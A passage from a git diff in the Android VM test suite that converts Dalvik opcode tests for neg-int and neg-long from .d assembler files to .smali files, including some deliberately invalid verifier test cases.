+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_1.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.d
deleted file mode 100644
index f66368b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.d
+++ /dev/null
@@ -1,29 +0,0 @@
-.source T_neg_int_2.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 7
-
-       neg-int v4, v6
-       
-       not-int v3, v6
-       add-int/lit8 v2, v3, 1
-
-       if-eq v4, v2, Label1
-       const/4 v1, 0
-
-Label15:
-       return v1
-Label1:
-       const/4 v1, 1
-       goto Label15
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali
new file mode 100644
index 0000000..430424f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_2.smali
@@ -0,0 +1,29 @@
+.source "T_neg_int_2.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 7
+
+       neg-int v4, v6
+       
+       not-int v3, v6
+       add-int/lit8 v2, v3, 1
+
+       if-eq v4, v2, :Label1
+       const/4 v1, 0
+
+:Label15
+       return v1
+:Label1
+       const/4 v1, 1
+       goto :Label15
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.d
deleted file mode 100644
index 90c16f9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_3.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       neg-int v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali
new file mode 100644
index 0000000..aab58d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_3.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.d
deleted file mode 100644
index 4d2c14b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_4.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 5
-
-       neg-int v0, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali
new file mode 100644
index 0000000..be23ef2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_4.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.d
deleted file mode 100644
index aa67eff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_5.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 5
-
-       neg-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali
new file mode 100644
index 0000000..151c335d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_5.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.d
deleted file mode 100644
index af24f55..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_neg_int_6.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       neg-int v0, v3
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali
new file mode 100644
index 0000000..0db6113
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_6.smali
@@ -0,0 +1,18 @@
+.source "T_neg_int_6.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       neg-int v0, v3
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.d
deleted file mode 100644
index b1fc23d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_int_7.java
-.class public dot.junit.opcodes.neg_int.d.T_neg_int_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       neg-int v0, v4
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali
new file mode 100644
index 0000000..a60c687
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_int/d/T_neg_int_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_int_7.java"
+.class  public Ldot/junit/opcodes/neg_int/d/T_neg_int_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       neg-int v0, v4
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.d
deleted file mode 100644
index 7973f10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_1.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       neg-long v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali
new file mode 100644
index 0000000..696b332
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_1.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.d
deleted file mode 100644
index 03891af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-.source T_neg_long_2.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)Z
-.limit regs 14
-
-       neg-long v10, v12
-       
-       not-long v8, v12
-       const-wide v6, 1
-       add-long v4, v6, v8
-
-       cmp-long v3, v4, v10
-       const/4 v1, 0
-       if-eq v1, v3, Label1
-       const/4 v0, 0
-
-Label15:
-       return v0
-Label1:
-       const/4 v0, 1
-       goto Label15
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali
new file mode 100644
index 0000000..ab21f30
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_2.smali
@@ -0,0 +1,33 @@
+.source "T_neg_long_2.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)Z
+.registers 14
+
+       neg-long v10, v12
+       
+       not-long v8, v12
+       const-wide v6, 1
+       add-long v4, v6, v8
+
+       cmp-long v3, v4, v10
+       const/4 v1, 0
+       if-eq v1, v3, :Label1
+       const/4 v0, 0
+
+:Label15
+       return v0
+:Label1
+       const/4 v0, 1
+       goto :Label15
+
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.d
deleted file mode 100644
index ab92394..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_3.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       neg-long v0, v8
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali
new file mode 100644
index 0000000..1b18b94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_3.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v8
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.d
deleted file mode 100644
index 98fe8da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_4.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       neg-long v0, v6
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali
new file mode 100644
index 0000000..00c9ecf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_4.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       neg-long v0, v6
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.d
deleted file mode 100644
index bd3a364e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_5.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 8
-
-       neg-long v0, v7
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali
new file mode 100644
index 0000000..4e5881e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_5.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 8
+
+       neg-long v0, v7
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.d
deleted file mode 100644
index a936135..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_6.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 8
-
-       neg-long v0, v7
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali
new file mode 100644
index 0000000..9330c94
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_6.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 8
+
+       neg-long v0, v7
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.d
deleted file mode 100644
index 66af380..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_neg_long_7.java
-.class public dot.junit.opcodes.neg_long.d.T_neg_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       neg-long v0, v5
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali
new file mode 100644
index 0000000..2257896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/neg_long/d/T_neg_long_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_neg_long_7.java"
+.class  public Ldot/junit/opcodes/neg_long/d/T_neg_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       neg-long v0, v5
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/new_array/d/T_new_array_1.d
deleted file mode 100644
index e681faf..0000000
